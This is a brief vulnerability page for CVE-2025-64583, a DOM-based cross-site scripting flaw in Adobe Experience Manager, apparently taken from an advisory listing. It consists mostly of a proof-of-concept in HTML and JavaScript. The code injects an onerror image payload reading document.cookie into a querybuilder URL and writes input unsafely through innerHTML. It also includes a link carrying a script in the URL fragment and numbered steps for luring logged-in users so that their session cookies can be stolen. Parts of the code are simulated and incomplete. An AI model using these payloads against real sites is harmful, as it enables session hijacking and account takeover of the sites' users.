CVE-2025-64583 Adobe Experience Manager DOM型跨站脚本漏洞

<!-- CVE-2025-64583 DOM-based XSS PoC --> <!-- Example malicious URL for Adobe Experience Manager --> <script> // PoC: DOM-based XSS in Adobe Experience Manager // Attack scenario: Inject malicious JavaScript via URL fragment function exploitAEMDOMXSS() { // Construct malicious URL targeting vulnerable endpoint const baseUrl = window.location.origin; const maliciousPayload = '<img src=x onerror="alert(document.cookie)">'; // In real attack, this would be the vulnerable parameter // that gets processed by JavaScript without sanitization const vulnerableEndpoint = `/bin/querybuilder.json?path=/content&p=${maliciousPayload}`; console.log('Malicious URL:', baseUrl + vulnerableEndpoint); // Simulate the vulnerable code pattern // This demonstrates how user input could be unsafely inserted into DOM const userInput = getParameter('p'); // Simulating user input retrieval document.getElementById('vulnerable-div').innerHTML = userInput; return baseUrl + vulnerableEndpoint; } // Real-world exploitation steps: // 1. Attacker crafts a URL with XSS payload in vulnerable parameter // 2. Attacker tricks authenticated user into visiting the URL // 3. User's browser executes malicious JavaScript // 4. Attacker steals session cookies or performs actions on behalf of user </script> <!-- Alternative PoC using URL fragment --> <a href="https://vulnerable-aem-site.com/page.html#<script>alert('XSS')</script>">Click here</a>